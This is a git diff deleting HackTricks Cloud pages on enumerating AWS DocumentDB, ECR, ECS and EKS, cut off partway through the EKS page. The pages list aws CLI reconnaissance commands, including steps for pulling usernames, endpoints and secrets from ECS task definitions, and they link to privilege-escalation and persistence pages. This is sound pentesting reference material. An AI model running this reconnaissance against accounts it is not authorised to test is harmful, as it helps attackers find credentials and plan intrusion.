diff --git a/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
deleted file mode 100644
index b19805d71..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ /dev/null
@@ -1,66 +0,0 @@
-# AWS - DocumentDB Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## DocumentDB
-
-Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB.
-
-### Enumeration
-
-```bash
-aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
-aws docdb describe-db-instances #Get hostnames from here
-
-# Parameter groups
-aws docdb describe-db-cluster-parameter-groups
-aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name
-
-# Snapshots
-aws docdb describe-db-cluster-snapshots
-aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier
-```
-
-### NoSQL Injection
-
-As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks:
-
-{% embed url="https://book.hacktricks.xyz/pentesting-web/nosql-injection" %}
-
-### DocumentDB
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-documentdb-enum.md" %}
-[aws-documentdb-enum.md](../aws-unauthenticated-enum-access/aws-documentdb-enum.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
deleted file mode 100644
index f33f7488f..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
+++ /dev/null
@@ -1,131 +0,0 @@
-# AWS - ECR Enum
-
-## AWS - ECR Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-### ECR
-
-#### Basic Information
-
-Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images.
-
-ECR is compose by 2 types of objects: **Registries** and **Repositories**.
-
-**Registries**
-
-Every AWS account has 2 registries: **Private** & **Public**.
-
-1. **Private Registries**:
-
-* **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission.
- * The URI of a **private repository** follows the format `.dkr.ecr..amazonaws.com/`
-* **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles.
-* **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS...
-* **Other private registry options**:
- * The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images.
- * The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions.
- * The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**.
- * Specific **IAM policies** can be configured to grant different **permissions**.
- * The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo.
-
-2. **Public Registries**:
-
-* **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.**
- * The URI of a **public repository** is like `public.ecr.aws//`. Although the `` part can be changed by the admin to another string easier to remember.
-
-**Repositories**
-
-These are the **images** that in the **private registry** or to the **public** one.
-
-{% hint style="info" %}
-Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**.
-{% endhint %}
-
-#### Registry & Repository Policies
-
-**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image:
-
-
-
-#### Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# Get repos
-aws ecr describe-repositories
-aws ecr describe-registry
-
-# Get image metadata
-aws ecr list-images --repository-name
-aws ecr describe-images --repository-name
-aws ecr describe-image-replication-status --repository-name --image-id
-aws ecr describe-image-scan-findings --repository-name --image-id
-aws ecr describe-pull-through-cache-rules --repository-name --image-id
-
-# Get public repositories
-aws ecr-public describe-repositories
-
-# Get policies
-aws ecr get-registry-policy
-aws ecr get-repository-policy --repository-name
-```
-{% endcode %}
-
-#### Unauthenticated Enum
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md" %}
-[aws-ecr-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-#### Privesc
-
-In the following page you can check how to **abuse ECR permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-ecr-privesc.md" %}
-[aws-ecr-privesc.md](../aws-privilege-escalation/aws-ecr-privesc.md)
-{% endcontent-ref %}
-
-#### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-ecr-post-exploitation.md" %}
-[aws-ecr-post-exploitation.md](../aws-post-exploitation/aws-ecr-post-exploitation.md)
-{% endcontent-ref %}
-
-#### Persistence
-
-{% content-ref url="../aws-persistence/aws-ecr-persistence.md" %}
-[aws-ecr-persistence.md](../aws-persistence/aws-ecr-persistence.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
deleted file mode 100644
index 198b4e856..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
+++ /dev/null
@@ -1,108 +0,0 @@
-# AWS - ECS Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## ECS
-
-### Basic Information
-
-Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**.
-
-ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**.
-
-* **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”.
-* **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups.
- * There **2 types of applications**:
- * **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application.
- * **Task**: A standalone task that runs and terminates. For example, a batch job.
- * Among the service applications, there are **2 types of service schedulers**:
- * [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node.
- * [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies.
-* **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**...
- * Check **env variables for sensitive info**!
-
-### Sensitive Data In Task Definitions
-
-Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within.
-
-Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions.
-
-### Enumeration
-
-```bash
-# Clusters info
-aws ecs list-clusters
-aws ecs describe-clusters --clusters
-
-# Container instances
-## An Amazon ECS container instance is an Amazon EC2 instance that is running the Amazon ECS container agent and has been registered into an Amazon ECS cluster.
-aws ecs list-container-instances --cluster
-aws ecs describe-container-instances --cluster --container-instances
-
-# Services info
-aws ecs list-services --cluster
-aws ecs describe-services --cluster --services
-aws ecs describe-task-sets --cluster --service
-
-# Task definitions
-aws ecs list-task-definition-families
-aws ecs list-task-definitions
-aws ecs list-tasks --cluster
-aws ecs describe-tasks --cluster --tasks
-## Look for env vars and secrets used from the task definition
-aws ecs describe-task-definition --task-definition :
-```
-
-### Unauthenticated Access
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md" %}
-[aws-ecs-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-### Privesc
-
-In the following page you can check how to **abuse ECS permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-ecs-privesc.md" %}
-[aws-ecs-privesc.md](../aws-privilege-escalation/aws-ecs-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-ecs-post-exploitation.md" %}
-[aws-ecs-post-exploitation.md](../aws-post-exploitation/aws-ecs-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../aws-persistence/aws-ecs-persistence.md" %}
-[aws-ecs-persistence.md](../aws-persistence/aws-ecs-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
deleted file mode 100644
index b99caa683..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# AWS - EKS Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## EKS
-
-Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS.
-
-Key aspects of Amazon EKS include:
-
-1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates.
-2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security.
-3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design.
-4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment.
-
-#### Enumeration
-
-```bash
-aws eks list-clusters
-aws eks describe-cluster --name
-# Check for endpointPublicAccess and publicAccessCidrs
-
-aws eks list-fargate-profiles --cluster-name
-aws eks describe-fargate-profile --cluster-name --fargate-profile-name
-
-aws eks list-identity-provider-configs --cluster-name
-aws eks describe-identity-provider-config --cluster-name --identity-provider-config
-
-aws eks list-nodegroups --cluster-name
-aws eks describe-nodegroup --cluster-name --nodegroup-name